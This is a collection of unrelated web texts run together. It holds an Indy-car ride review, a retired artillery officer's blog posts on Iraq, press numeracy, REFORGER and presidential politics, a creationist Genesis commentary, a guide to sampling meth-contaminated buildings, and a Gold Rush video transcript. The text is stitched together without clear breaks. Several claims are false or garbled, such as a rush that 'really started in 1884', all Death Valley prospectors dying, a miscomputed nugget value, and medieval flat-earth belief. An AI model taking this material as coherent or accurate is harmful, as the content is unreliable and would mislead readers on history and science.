2. There is an RPM limiter that kicks in at 5,000 RPM. I think this is track specific, though. The instructor explained that maximum power and speed will be achieved just below that. I am pretty sure the reason for it is so that the car won't spin out in the curves. The instructor said several times, "Do not back off the throttle when you enter a curve. You cannot drive fast enough on this track to make the car spin on a curve, so maintain speed." I found this to be true.
3. You do not have either a speedometer or a tachometer, although for all I know neither do the racing versions. The controller is always telling you (and race drivers) info about speed anyway, so there really is no need for either.
2. There are three cars on the track at one time plus a dual-cockpit car for people who just want the speed sensation without driving. These are driven by professional drivers and will stay and the outside of the track. Trust me, they will also pass everyone else.
3. You paid-for time includes all the time your car is in motion, which includes the time you spend on the apron exiting pit row, which takes a half lap, and the time you spend returning there at the end, which is another half lap. Altogether, this will come to 1.5-2.0 minutes so frankly, if you do only the five-minute event, you won't do much driving at speed.
4. While driving, your controller will tell you when to merge onto the track when starting off and when to exit back to the apron to wrap it up. He will also tell you what pace to drive starting out, which will not be fast because he will not turn you loose until he knows you're not going to do something stupid and will follow directions. This is important: with other cars entering the track or exiting all the time, you may pass other cars only (a) on a straightaway and (b) when the controller says so. Screw this up and he may kill your engine remotely.
5. Speaking of the radio-connected controller, they really need to consider what in my military career were called "pro-words," or procedure words. I learned that the controller used the same terms to say that I was about to be passed or could pass (or not) someone else. This was very confusing and they seriously need to have different phrases for one and the other. Another example is how air traffic controllers and pilots talk; their phrasing is very exact and terms are very specific. When I was flying I was taught that I would be "cleared" only for takeoffs, never for landings or taxiing or anything else. So, as once happened to me, when you are short final to land and you hear the controller say, "static you are cleared for static" you know he's not talking to you and you'd better start looking for an airplane trying to take off on the same runway you have already been given permission to land! At the race track, audio you get in your headphones is not crystal clear anyway, so single-meaning words and short phrases would be a big help.
6. These cars steering response is very sensitive. There is no need to turn the wheel more than a little bit. The faster you go, the more the car sticks to the track; it's actually more secure to go through the curves faster than slower. Also, the track's banking and leveling work very well to keep the car on course.
7. When they say, repeatedly, to stay at least five feet above the solid yellow line marking the beginning of the apron, they mean it. No driver in my group failed to do this, but the instructors were very clear: in an Indy car, if your wheel touches that line, you will wreck. The Indy car is very rigid and unforgiving of such.
8. When the controller tells you that you can open it up, go right ahead. The car is very powerful (duh) and will burst forward. Because you are siting so close to the track's surface, you will think you are going faster than you are, so if you feel confident, push it. Remember, the car is stabler faster. (This is my one regret, that I didn't push it as much as I retrospectively wish I had.)
All this being said, it was a great experience, one like I've never had before, even when driving about that fast on the Autobahn in Germany.
I can also understand why there were so many repeat drivers in my group. One time does not give you enough familiarity with the car to really get up to high speed. So maybe there's another drive coming sometime in the future.
It was definitely fun, although not a passive kind of fun. This is not a passive experience at all! It's kind of like going on an extreme roller coaster, and discovering that you're not merely riding you're also having to drive it and you don't know which curves may throw you off the track if you take them at the wrong speed or wrong angle.
But yes, I would do it again in a heartbeat! Here are a few photos:
Pit row
Waiting to go.
I am in the red car, center. The cockpit is pretty tight to get into since the top opening is smaller than the interior. You don't have any spare room once positioned, but you do have enough. You are actually mostly lying down; legs straight in front and back angle well off vertical.
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Sunday, August 21, 2016
Stunning movement of the Lord in Iraq
Despite threat from ISIS, 100 children receive First Communion in Iraq
The first communion Mass in Alqosh was an historic moment for a “frontier town” that has been under threat from the militants of the Islamic State (IS) for a long time. Now it can “hope for peace and normalcy” around these hundred children, said Mgr Basil Yaldo, auxiliary bishop of Baghdad and close associate of the Patriarch Louis Raphael Sako.
The Chaldean primate presided over the ceremony that was attended by “all the priests of the city, the nuns and more than 700 people. The faithful were excited because for the first time, the patriarch celebrated communions in the community.”
Like many other towns in Iraqi Kurdistan, Alqosh too welcomed scores of refugees.
“Life in the area is almost back to normal,” said the vicar of Baghdad. “We hope that soon the whole plain [of Nineveh] can be liberated from the jihadists, and that refugees can return to their villages.”
The work to secure the area, he added, has “already started and for the past two days Iraqi troops have launched the battle to liberate the villages surrounding Mosul.”
…Addressing the boys and girls who received the first communion, Patriarch Sako urged them not to abandon their land, the city of Alqosh, but to stay and help in the reconstruction “because there is a (Christian) heritage to be preserved. ”
The Chaldean primate, Mgr Yaldo noted, also called on young people to “be stronger, come to church and participate in the life of the Christian community as one participates in the life of a family.”
After the service, the children asked Patriarch Sako some questions. One of them, Mgr Yaldo noted, said that when he “grows up he wants to become a priest to serve the poor and the needy.”
The patriarch could not hold back his emotion after listening to such words, adding that “it is important to support and share the suffering.”
Monday, August 15, 2016
The uncurious minds of news reporters
As an illustration of the typical cluelessness of the American media, I offer this piece on the future of the United States artillery from The National Interest, "The US Army's New Battlefield 'Big Gun' Has a Dangerous Defect."
The issue of the article is the lack of a fully-functional fire-suppression system aboard the "Paladin M109A7 PIM — the latest in America’s line of tracked artillery pieces ," photo above. But the fire-suppression system is not my point here. In the article we read:
In 2002’s Operation Anaconda, the U.S. clashed with hundreds of Taliban and Al Qaeda fighters without any large-caliber artillery. Yet with a more entrenched U.S. troop presence in the following years came an increasing reliance on big guns which — in places — fired relentlessly.
Case in point, one artillery battalion in Afghanistan’s mountainous and remote Kunar province lobbed around 25,000 rounds — including mortar rounds — in a year, according to the New York Times.
A 155mm howitzer battalion has 18 howitzers, which we colloquially refer to as "guns" even though they are not guns, they are howitzers.
Now do the math on that artillery unit in Afghanistan and you will immediately see why the story should read, "one artillery battalion in Afghanistan’s mountainous and remote Kunar province lobbed a mere 25,000 rounds in a year."
Although neither The National Interest nor The New York Times identifies what battalion fired those 25,000 rounds, the odds are near certain that it was a battalion equipped with the M777, 155mm howitzer. Wikipedia has a decent write-up.
As you can see, it is significantly different from the Paladin pictured above, although both guns shoot exactly the same ammunition. The Triple-7 is towed by a truck rather than self-propelled like the M109-series howitzers. The truck also carries crew, ammo and supplies. Towed guns were used in Afghanistan because they were easier to deploy and because in many cases were simpler to move from one place to another over the rugged terrain (mainly because they are so much lighter).
So a battalion of artillery has 18 of these guns. Here is the arithmetic that is so simple anyone but an NYT reporter can do it, including my daughter who was only 2 years old when I retired from the Army and so did not grow up in this culture:
Question: "Is 'fired relentlessly' and apt term for a battalion of 18 guns that fired 25,000 rounds in a year?"
(playing Jeopardy music . . .)
1. 25,000 / 365 days per year = 68.5 rounds per day fired, average.
2. 68.5 rounds per day / 18 guns = (TA DA!) fewer than four rounds per day per gun.
Does that sound "relentless" to you? The maximum rate of fire of the M777 is 5 rounds per minute. But timing begins at the zero-second mark when the first round is fired. That means that 36 seconds later, that crew is done for the day. The crew spent 0.043 percent of the day "relentlessly" firing their howitzer.
This is by no means any criticism of the artillery crews. Artillery is an "on-demand" combat weapon. It does not make up on its own where or when to shoot. Artillery fire is requested by other arms, mainly infantry and armor, but can also be called for by aviators or assigned by higher commanders. At any rate, what this extremely low use of artillery means is one or more of the following,
• Actual battles with enemy forces were relatively rare,
• When they did occur they were small unit actions and/or at such close ranges that using artillery was impractical
• Rule of Engagement were very restrictive on using a weapon of such destructive power,
• Target location was imprecise,
A little historical scale now. In the Korean War
In one 24-hour period during the battle for Bloody Ridge, the 15th FA Bn fired 14,425 rounds. Additionally, from 26 August through 2 September 1951, in support of the 2nd ID during the battle of Heartbreak Ridge, the 15th FA Bn fired 69,956 rounds.
That battalion's guns fired an average of 601 rounds each in that one day, or 150 times as many as that unit cited in the NYT. But consider that 601 battalion rounds per day works out to 33 rounds per gun per hour, or about one every two minutes - and since this battalion used 105mm howitzers, that was much less physically challenging than shooting a 155mm gun since the heavier gun is well, heavier, with its munitions weighing about three times as much as the 105mm.
The trick for the 15th FA gunners in Korea was not shooting every 120 seconds, which is quite easy on that gun (my first unit in my service was in a 105mm unit). The trick is to keep that going for 24 straight hours. I guarantee those gunners were exhausted at the end!
The second example, 69,956 rounds in a six-day period, is a lower rate of fire, 486 battalion rounds per hour, or 27 per gun per hour, a little under one round every two minutes. Again, not physically challenging unless you keep it going for six straight days!
But either case would certainly qualify as "firing relentlessly."
My point in this is that you may now understand why I am very skeptical of what the civilian press reports about military matters, and the more technical the subject is the the more skeptical I get. When I was not blowing things up in the artillery, I served in my alternate specialty of public affairs, including as chief of media relations for XVIII Airborne Corps and Ft Bragg. With not many exceptions, reporters tend to be uncurious people. They generally just write down what someone tells them and that's that.
As my boss used to say, "Reporters don't say what happened. They say what somebody said happened." That's a good thing, actually; you don't want reporters just making stuff up (which a fair number do anyway) but jeepers, who said that this firing in Afghanistan was "relentless?" NYT reporter Wesley Morgan did, that's who, and he thought so because he didn't have the curiosity to run the numbers.
That said, the Interest's brief commentary on the lack of long range on our howitzers is well taken. The concluding line is, "in an artillery war, range is everything." Yet that is only half right. There are two things that are everything in an artillery war: range, accuracy, and responsiveness.
Oh, wait, make that three three things that are everything: range, accuracy, responsiveness and lethality.
Four! In an artillery war, there are four things that are everything: range, accuracy, responsiveness, lethality, and mobility.
In an artillery war there are five things that are everything: range, accuracy, responsiveness, lethality, mobility, and logistics... .
See my point? One thing is not everything in any operation or war. Why does this reporter think so? Well, it makes a good tag line. But also because frankly, he don't know nuthin' about what he's writing about.
BTW, my daughter who knew PDQ that 25K rounds in a year was not "firing relentlessly" is a chemical engineer, so she went to the math right away. But really, this isn't math, it's simple arithmetic and logic, grade school level.
Additional reading: "U.S. Army Field Artillery Relevance on the Modern Battlefield"
Oh, and just for the humor break, my closing grafs about the things that are everything in artillery war uses this famous template.
Tuesday, August 2, 2016
"Honey, sorry I am going to have you blown to smithereens."
Saw this on one of my FB feeds and it brought back some memories.
Under the nets are 155mm self-propelled howitzers taking part in the REturn of FORces to GERmany (hence, REFORGER) exercises that took place by US Army Europe from the 1960s to the end of the 1980s. This is from the 1986 exercise; I do not know which unit.
The one in 1984 took place in the severest winter Germany had experienced since WW2. I froze my kundingi off. I was a battery commander in 2d Battalion, 3d Field Artillery, 3d Armored Division. My battalion was stationed in the town of Butzbach, West Germany, about 55 km north of Frankfurt.
At the time, my wife and I lived in a very nice, govt.-contracted duplex in Dorf-Guell, near Giessen, pinned here in this screen grab from Google Earth:
This was a northern Reforger (they alternated north and south in the country), so the town was in the thick of the action. During the exercise one day I pulled into a phone booth to call Cathy. She told me that an aviation unit had set up field operations in the very large fields behind our house. I already knew that was "enemy" territory.
So, artilleryman that I was, I apologized to her that I was going to have her blown to bits. Then I grabbed the grids off my map sets and sent it with target description to 3AD Division Artillery's operations center. From there it got handed off to V Corps Artillery, which moonscaped the field (in an exercise-y sort of way) with 8-inch artillery. Darn shame about my wife, though.
Later I learned that Divarty had actually credited her by name as the target-intel source, though, so she had that going for her at least.
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Friday, July 29, 2016
American generations
Here is a summary of the prevailing characteristics of each American generation born starting in 1900 and ending with the generation born since 2001: "The Six Living Generations In America."
This author, though, says that generational characteristics are not sharp between generations, and hence "here is a 'fuzzy' consensus on the characteristics of each generation" X, Y and Z.
The American Management Association offers its own summaries of the generations related to the workplace, "Leading the Four Generations at Work."
This is a brief summary of "Members of each generation: perceived characteristics."
Tuesday, July 26, 2016
Jesus does not endorse your candidate
Earlier this month, columnist Richard Fernandez wrote,
The problem may turn out to be not whether Christianity can survive the modern world, but whether the modern world can survive without Christianity. The naive assumption of 19th century Marxists was that after belief was abolished, what was essentially a Christian morality would continue to guide the world though without its religious overtones.
They thought that even without God men would not kill or steal or lie or covet their neighbor's wives. Through the operation of some sort of "decency" things would go on much as before, but with electricity and central planning. They thought this because they had lived in an immersive religious system for so long they were no more aware of it than fish notice water.
But as it turned out "decency" was much more fragile than they thought. If the 20th century showed that man unfettered could create monstrous totalitarian belief systems, the 21st is rapidly demonstrating that rather than accept an inner vacuum millions would rather fill it with strange gods if the gods of their fathers were no longer on offer.
Fish may not notice water when it is there. But they do notice it when it is gone.
Perhaps the major challenge of the 21st century is to reinvent Christianity or something like it. Man does not live by bread alone and if that hunger will not be met by God it will be sated by the spirit of darkness.
And so, in a different context than Richard wrote, we come to this year's presidential election. The problem, to paraphrase Richard a little, may turn out to be not whether Christianity can survive modern America, but whether modern America can survive without Christianity.
There is no "Christian" candidate
That said, exactly what is the actual evidence, not rhetoric, but evidence, that Hillary Clinton cares a fig about Christian religion herself? Sure, she claims Methodist affiliation, but exactly what does that mean when examining her truly dismal, spectacularly failing record as a public official? Claiming a religious affiliation does not confer competence, and even MSNBC's in-the-tank hosts were forced to admit one day that they could think of nothing of note that she had ever accomplished. This is a woman whom FBI Director James Comey, under oath before a Congressional committee, confirmed repeatedly had lied over and over and over about handling highly classified material but just wasn't "sophisticated enough" to know the severity of her actions. So yeah, sure, that plus Methodism qualifies her for the presidency, of course. Hillary Clinton's religion is Clintonism. There is almost nothing I have seen about her platform that bears the imprimatur of orthodox Christianity or its inheritors. As one commentator said, Hillary's real objective is inauguration day. She has no goal beyond then.
All that said, I will emphasize that in fact a presidential candidate's religion is a matter of low importance to me. I want a president who is a Constitutional originalist, religious denomination irrelevant. But we pretty much gave that up a century ago when we elected the proto-progressive Woodrow Wilson. And so here we are:
The dens of thieves that run our country
Now that I've got past that rant, let me ask, "What would Jesus do with national American politics?" Probably this:
Jesus at the Republican National Convention, or maybe the Democrat one.
Hard to tell since they are both dens of thieves.
How bad has political thievery become? James Bessen of Boston University Law School says it is so deep that political lobbying is now the second-largest influence on profits for America's large companies.
That's 4.5 billion of your dollars and mine. This is why Elon Musk's company, Tesla, never has to sell even one electric car at profit and he still becomes wealthier and wealthier. Our taxes pay his profit. This is crony capitalism at it worst (or best, if your name is Elon Musk).
What kind of national economic model is this? Tom Wolfe once observed that, "The dark night of fascism is always descending in the United States and yet lands only in Europe." Yet Wolfe surely knows that before fascism was anything else, it was a national economic regime. Its features were not exactly original; what was novel was the inclusion of Marxism and whole-country integration by its modern originator and premier practitioner, Italian dictator Benito Mussolini. In 1932, Mussolini wrote this definition of fascism:
It was further explained in 2010 by the "Classic Liberal" blog
Feel familiar? It ought to: this has been the economic policy of both parties for at least the last 50 years, with different emphases by one party or the other. American federal polity long ago became centrally located on a less-lethal version of Lenin's question, "Who? Whom?" For Lenin, the question was about who would die and who would live. But for both the Republicans and the Democrats it is about money and power:
• Who will receive the largess they will use tax dollars to provide?
• Whom will be the class they plunder to get it?
• And how will they spend it to suborn, corrupt or crush so they can keep power?
That is not merely the primary principle of American federal governance today, it is almost the only principle there is. Bernie Sanders notwithstanding, the American Left is not socialist at all; it is fascist, which began in and never departed from Leftism. (Mussolini had been an active member of the Communist International before resigning to start the Fascisti party.) The Republicans are fascist, too, just not as much. But give them 15-20 years and they'll catch up.
How to vote
So to my fellow Christians who will vote this November I say: Vote for the candidate of your choice. Vote your conscience. Vote your convictions.
But do not pretend for one second that it is even possible to vote the Gospel this November.
John Wesley had some excellent advice:
Fellow clergy, please:
Your presidential candidate is not going to inaugurate the eschaton. Not even the Millennium. Not even a decent mimic of anything Jesus imagined the Kingdom of God to be, nor even the faintest shadow. There is no divine endorsement - none whatever - of even a single word in the platforms of either the DNC or RNC.
I am not so dismayed that millions of American, Christian laypersons may think this. I do not think that all do, perhaps not even most, anyway. But I am dismayed that there are a large number of Christian clergy, especially of my own United Methodist denomination, who (to judge by their own online posts) actually seem to think that Christian discipleship actually equates with voting for one party and necessarily excludes ever voting for the other. In fact, one of my UM colleagues told me bluntly before the 2000 election (so this has been going on awhile) that is was not possible for a Christian to vote for any Republican candidate and that voting for a Republican was certain proof that the voter was not Christian.
Whenever someone claims that supporting this candidate or that one is based on Christian imperatives, that person instantly loses credibility with me. Zip, gone, vamoose, nada. Because what is really being said is that corrupted political ideology (which is all of them) suborns Christianity and that the work of Christ necessarily is done through the corrupt organs (which is all of them) of a corrupt political party (which is all of them). And never is this more so than this year and this year's candidates.
I neither demand nor expect that any American political party will ever base its platform on the Sermon on the Mount. It cannot be done anyway. But I long for a day when Americans will awaken again to the supremacy of Christ over the self.
I pray our polity this year is not a bellwether of the years to come. If so, we as a people are too very close to losing our goodness. God help us. |
Archive for June, 2011
Genesis 1:9-10, Land on Day 3
Posted in Creation with tags , , , , , , , on June 28, 2011 by paulthepoke
Another day and another difference, evolutionary science says that dry land was first, then the oceans appeared. From the evolution perspective, matter has always been.
God says the sea was first, then dry land appeared. Matter did not exist until God created. The idea of water first and land out of water is noted in the New Testament in 2 Peter 3:5 For when they maintain this, it escapes their notice that by the word of God the heavens existed long ago and the earth was formed out of water and by water…
Observation: God said for the waters to be gathered in one place. The waters have a name, “seas”. Initially, water covered the entire surface, a literal water world. Next land appeared. The land has a name, “earth” or “erets” in the Hebrew.
There are creation scientists who argue for the original land mass being large and single. Some of these creation scientists include researchers at the Institute for Creation Research (, Ken Hamm ( Names for this land mass and its configuration include Rodinia and Pangea. Think about our planet today. We have land masses or continents, not a single land or super continent. The creationist argument for seven continents and the current land configuration is due to the events of Noah’s Flood. That is a discussion for another day.
God could have and may have made the land masses in their current configuration just as well. We don’t know for sure. Science does not know definitively either. We were not there.
and God saw that it was good.
Genesis 1:6-8 Water First, Day 2
Posted in Creation with tags , , , , , on June 12, 2011 by paulthepoke
Science is at odds with the Bible, imagine that? Science says that the Earth was molten rock billions of years ago. Eventually all of this molten rock cooled. Science has the order of rock first then water later.
God has things a bit different. There was water first. Then sky (day 2) and land (day 3) were separated from the water. This concept of water first is noted throughout the Bible. This is not a Genesis phenomenon. Look at Psalm 148. This Psalm has the reminder that God spoke this into existence. It was created out of nothing by the power of His word.
Psalm 148:4-5 Praise Him, highest heavens, and the waters that are above the heavens! Let them praise the name of the LORD, for He commanded and they were created.
Jeremiah and Isaiah speak specifically of the heavens. They both note that it was God who “stretches” and “spreads” the heavens. The Isaiah passage also has another hidden gem. Note where God is sitting, it is above the circle of the earth. Isaiah tells us the earth is round! Isaiah was written approximately 2700 years ago. This was way before Columbus sailed the ocean blue in 1492. Fifteenth Century man was convinced the earth was flat. Yet, a Jewish prophet 700 years before Christ tells us the earth is round. Fast forward to the 21st century, scientific man is telling us that the earth came before water. God says water was first. Has man been wrong before? What should you believe?
Jeremiah 10:12 It is He who made the earth by His power, Who established the world by His wisdom; and by His understanding He has stretched out the heavens.
The Hebrew word for “expanse” is aqiya`. Defined (Strong’s Concordance) it can mean the follow:
expanse, platform, sky extended surface (solid)
expanse (flat as base, support)
firmament (of vault of heaven supporting waters above)
considered by Hebrews as solid and supporting ‘waters’ above
This “expanse” separated and divided the waters. There was water below and above the expanse after God finished His work. God named this expanse. The Hebrew name of the expanse is shamayim. The word is typically translated “sky” or “heaven” in English Bibles. It can mean the following as noted by Strong’s Concordance.
heaven, heavens, sky
visible heavens, as abode of the stars
as the visible universe, the sky, atmosphere, etc
Heaven (as the abode of God)
The evening came first with darkness. Then light, not sunlight because it is still a couple of days away on day four, came in the morning. And that was the second day.
Genesis 1:5b One Day
Posted in Creation with tags , , on June 5, 2011 by paulthepoke
Genesis 1:5b And there was evening and there was morning, one day.
Come on now, did God really make everything in six days? How many times has that question been posed? Why not? He can do whatever He wants, He is God. Time is irrelevant. God created time as noted in the discussion below. In addition, God is outside of time and space as we know it. God is omnipotent. Psalm 135:5-6 For I know that the LORD is great and that our Lord is above all gods. Whatever the LORD pleases, He does, in heaven and in earth, in the seas and in all deeps.
A challenge to the culture and the critic, open your mind to an alternative perspective. Free your mind to the possibilities of what God can do. Don’t be so narrow-minded and intolerant to what God says. Do you really know what the Bible says, not likely. Read it and make an informed decision, enough of the ignorance.
Here is how God defines a day. The Hebrew word for day is “yom”. Two things are required to make a “yom” or day, an evening and a morning. The Hebrew word for evening is “ereb”. It means an evening, night, or sunset. The Hebrew word for morning is “boqer”. It means morning, break of light, end of night, or dawn. One evening plus one morning equals one day.
This pattern (evening + morning = day) is repeated with each of the six days of creation. See Genesis 1:5, 8, 13, 19, 23, 31The Hebrew word for day “yom” is used some 3,000 times in the Hebrew Bible, and is almost always used to mean an ordinary 24-hour day-night cycle. Whenever it is used with an ordinal (1, 2, 1st, 2nd, etc.), it always means a specific day, an ordinary 24-hour day”. (Creation Was 24/6 and Recent,
Let’s look at the context of the word “day” and how it is used in the Bible. The context determines the meaning of the word. Here are some observations and questions made by scholars who take the Bible seriously and believe that God means what he says. Here are two examples.
Could God Really Have Created Everything in Six Days? by Ken Ham September 27, 2007
• A classic, well-respected Hebrew-English lexicon (a dictionary) has seven headings and many subheadings for the meaning of “yom”—but it defines the creation days of Genesis 1 as ordinary days under the heading “day as defined by evening and morning.”
• Outside Genesis 1, “yom” is used with a number 359 times, and each time it means an ordinary day. Why would Genesis 1 be the exception?
• Outside Genesis 1, “yom” is used with the word “evening” or “morning” 23 times. “Evening” and “morning” appear in association, but without “yom”, 38 times. All 61 times the text refers to an ordinary day. Why would Genesis 1 be the exception?
• In Genesis 1:5 , “yom” occurs in context with the word “night.” Outside of Genesis 1, “night” is used with “yom” 53 times, and each time it means an ordinary day. Why would Genesis 1 be the exception? Even the usage of the word “light” with “yom” in this passage determines the meaning as ordinary day.
• “Yom” is singular.
James Stambaugh, M.DIV., Librarian at the Institute for Creation Research.
• The meaning of the term “day” must be seen in conjunction with the use of “evening” and “morning.” The Old Testament records 38 times when these two words are used in the same verse. Each time they occur, the meaning must be that of a normal day.
• This combination occurs 357 times outside of Genesis 1. But each time it is used, it must mean 24-hour periods of time.
• Why did God use the word “day” and not the more generic term, “time”?
• Did God deceive us by using the word “day,” when it really was a long period of time?
• If deception is needed, why should we believe any of the Bible?
• If God lies in the beginning, why should we believe any thing else?
Even the critic understands the magnitude and relevance of the meaning of the word “day”.
Dr. James Barr, Regius Professor of Hebrew at Oxford University, does not believe Genesis is history.
Prophecy Watch & Bible Study
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Where is methamphetamine found?
Meth can easily be produced in makeshift drug laboratories using crude methods and readily available chemicals (precursors). Meth labs can be found in a wide array of locations including homes, hotels, abandoned buildings and vehicles, etc. The cooking of meth involves a range of highly volatile and hazardous chemicals which can often finds its way into porous materials of the building (e.g plaster walls, carpet) at levels which can potentially be harmful to human health.
It is important to note that it is not always obvious to identify a house where meth has been manufactured, often tell tale signs can be masked at times of inspection. The New Zealand Police have further information, including typical signs that a property is being used for meth manufacturing.
Sampling Areas
When sampling it is important to target the areas of concern, these will be the porous materials near the area of cooking or smoking has occurred.
The cooking of meth will often involve the use of a hotplate or stove, in order to remove the fumes from the cook area often extractor fans are installed in unusual locations or cooking is undertaken beneath windows, sampling should be targeted at the top of the walls near extraction fans or windows. Precursor chemicals can be very corrosive, when disposed there can be potential staining of the concrete, particularly on outside drains.
Typical areas where smoking may have occurred could be communal living areas and bedrooms, identify signs of smoking (used cigarettes or smoking devices). |
10 Mysteries Of The Gold Rush!
From it’s true origins to the massive amount
of gold found…stay tuned to number 1 to find out 10 facts YOU need to know about the
Gold Rush! Number 10: Didn’t Start In 1849. Despite a lot of folks saying that the Gold
Rush started in California in 1849, that wasn’t truly the case. It’s the most popular year of the California
Gold Rush, there’s no doubt about that. But the event that helped start the whole
thing actually happened in 1848. Don’t be confused, I’ll explain. Like all good gold rushes, this one started
out by accident. A group of people were digging near the American
River in their attempt to build a saw mill. While they were digging up dirt to help make
way for it, they found a gold nugget. A nugget is a small compacted form of gold
that can be picked up. After finding this one, they searched the
nearby ground and river and found even more nuggets. This led to a massive telling of what happened
around the town they were in. Which, naturally, spread across the nation,
and that gave many people who were tired of living in the east the chance to head west,
make their fortunes, and live a better life. By the time most got there, it was 1849, but
the initial gold rush technically started in 1848. But if you want to be even MORE technical,
it REALLY started in 1884, when a shopkeeper in San Francisco got a bottle full of gold
dust and put it in his shop for all to see. And that kicked off the series of events that
would lead to the eventually Gold Rush In California. Number 9: Not The First Gold Rush In The US. As I noted, the California Gold Rush is one
that is very popular in the history and lore of the United States. It inspired the NFL team the San Francisco
49ers, and even made a villain of the legends of the Gold Rush in an episode of “Scooby-Doo.” But what people forget, at times, is that
this WASN’T the first gold rush in the United States. That gold rush happened 50 years earlier. This earlier event happened in Cabarrus County,
North Carolina, when a 17-pound gold nugget was found in the ground in the country. For the record, at the current gold price,
of about $1,300 an ounce, that would be over $22,000 dollars worth of gold, and that was
just one nugget! So just like the eventual California Gold
Rush, a large group of fortune seekers went migrated to North Carolina to search for their
own share of the gold. And, eventually, around 30,000 people were
out digging for it. And they had a LOT of success. So much so that for the next 30 years, all
the gold coins that were produced by the government were being made mostly by the gold that came
from North Carolina. Just goes to show you that gold can be just
about anywhere, and a gold rush can follow it if it’s found. Number 8: Biggest Migration In US History. Before we get into the migration, take a moment
to like this video and join the Zero2Hero community by using the buttons below! Let’s talk about the early days of the United
States, ok? At first, there were 13 colonies, and after
the Revolutionary War, the colonies won their independence. Soon enough, the Louisiana Purchase was made,
and thus expanded the US greatly, allowing more and more people to both live in the land
and live comfortably. But we still weren’t populating much of the,
then current, United States yet. While there were plenty on the western side
of the US, it wasn’t a tamed land like it is now. Rather, it was a lot of wilderness, and a
lot of unknowns. It would take a LOT of encouragement to get
people to move west and try to settle it. Say…like a gold rush? It’s a fact that a LOT of people went to California
and surrounding areas over the course of the Gold Rush migration. But the migration was also the biggest in
United States history! In March of 1848, the most predominant people
in the soon-to-be state of California were Native Americans. Only about 800 settlers from the east were
there. Fast forward 20 months and suddenly there
were 100,000 non-native people in the state! Fast forward to 1850, and 300,000 people had
showed up. And all of this helped lead to California
becoming the 31st state in the country. Number 7: Americans Weren’t The Only Ones
Digging For Gold. Another thing you have to remember about the
world at that time was that communication most definitely wasn’t the best around. At the time, the railroads weren’t built,
and so getting a message out from East to West was a hazardous adventure. To that end, some of the first people to take
advantage of the Gold Rush fever weren’t the settlers in the East, but were, instead, people
from Asia and South America. 25,000 Chinese Immigrants, for example, were
in California by 1852. And, unfortunately, this led to a lot of incidents
that created a sad foreshadowing of how things were to be in the United States. You see, the Gold Rush couldn’t last forever,
and so when the gold was visibly becoming less and less abundant, people started to
fight over the “rights to mine”, despite it being a free country. And when they saw the amount of Chinese workers
trying to get what they considered to be “their gold,” they went rather evil. First, they put a tax on the “foreign miners”
and demanded they pay a royalty for all the gold they got. And even though this was repealed, it was
instituted with a worse law later on. And when that wasn’t enough, many American
miners would beat or even kill the immigrant workers, whether they be Chinese, Mexican,
or Native American. Gold is a precious commodity and, as such,
it can bring out the worst in people. Number 6: The Birth Of The Oregon Trail. Have you ever played the game Oregon Trail? The one about you being the leader of a group
of settlers trying to make it out west? Well the true beginning of that game actually
came via the Gold Rush. Because, for those who couldn’t afford quicker
travel to the West, the best way to go was through a path that wagons could go on. There were actually two different trails,
based upon your preferred destination…The California Trail, and the Oregon Trail. Just in the summer of 1849, about 30,000 people
took to these trails to try and get to the west and find their better life. But it was not an easy journey, as the game
would tell you. The trek was about six months long. Think about that for a bit. Six months of being in a wagon most of the
time, just traveling. Yet, a lot of people did it, and a lot of
people made it, and the infamy of the Oregon Trail lives on to this day. Number 5: Valley Of Death. Not everyone had to go 6 months to try and
get to the gold rich fields of California, some actually only had to travel a short distance. But as all of you likely know, it’s what’s
IN that distance that can define whether you succeed or not. And in this case, for 13 prospectors, they
decided to go across a small patch of desert. While this isn’t a bad idea, per se, this
particular stretch of desert is now known as Death Valley, and can you guess how it
got that name? That’s right, when these 13 souls tried to
cross this brutally hot desert, but they all passed away. When people found out about it, they decided
to name it quite fittingly, Death Valley. And the legend of Death Valley has lived on
to this day. Number 4: Invest In The Bank. If you look at how modern gold rushes are
done, there are processes, procedures, and most importantly, official exchanges that
are there to make sure that everything is done in an orderly fashion. And of course, to make sure everyone is taken
care of. In the California Gold Rush…that wasn’t
an option at first. Especially when it came to exchanging currency. There were no banks in California when the
Gold Rush began, and this was a big problem. Because that meant that only certain private
individuals could go and make the currency exchange, and NOT be regulated by the government
when they did so. Can you see the problem in that? Exactly…just about everyone got swindled,
and it’s one of the worst kept secrets about the Gold Rush. While many did make it rich, just about everyone
got LESS than they should have. Eventually, in 1854, a government mint was
set up, which ended the private banking. But by that time, millions upon millions of
dollars weren’t given to their rightful owners. Number 3: 100 Million Ounces. While gold mining is still popular to this
day (more on that in a bit), California remains the biggest producer of gold in the history
of the United States. From the start of the Gold Rush in 1848 to
1965, an estimated 105 million ounces of gold were found in the various mines and areas
of California. That’s an incredible sum, and one that people
worked hard to get for many years. Gold mining still goes on in California, but
not anywhere close to what they were doing in the original Gold Rush. The three states that are now producing the
most gold in the United States is Nevada, Alaska, and Colorado. Number 2: The Cost Of Doing Business. Another lesser known fact about the California
Gold Rush is that most who tried to go and get gold…didn’t. And not because they couldn’t dig it up, but
rather, they couldn’t afford to go mining. Most of the people who went West in search
of gold were those who had very little to their name. So by the time they made the six month trek
to California, they only had so much money on them. They then had to buy tools, supplies, and
of course, basic living essentials for them and their families, and that wasn’t cheap. In fact, if you look at the money made during
the Gold Rush, it actually pales in comparison to the money made by merchants at times selling
things to the miners. Some great innovations were made because of
the Gold Rush, and that made many merchants, not miners, a lot of money. And by that token, a lot of miners went broke
before they could even go and dig for an ounce of gold. I think Mark Twain said it best when he said,
“during the gold rush its a good time to be in the pick and shovel business!” Number 1: The Spirit Of The Gold Rush Lives
On. Despite the California Gold Rush being long
gone, the spirit of the Gold Rush still lives to this day. Men and women are fighting for their own cut
of the gold that they know is still out there. To that end, the Discovery Channel has one
of the most popular shows on cable in the form of Gold Rush, which started out with
a man named Todd Hoffman leading a group of men from Oregon to Alaska in search of millions
in gold. The show is now in its 9th season, and continues
to draw in viewers, and prove that if there’s gold in the ground, there’s always going to
be people wanting to go get it. How do you think the Gold Rush shaped America? Let us know in the comments below and…take
7 thoughts on “10 Mysteries Of The Gold Rush!
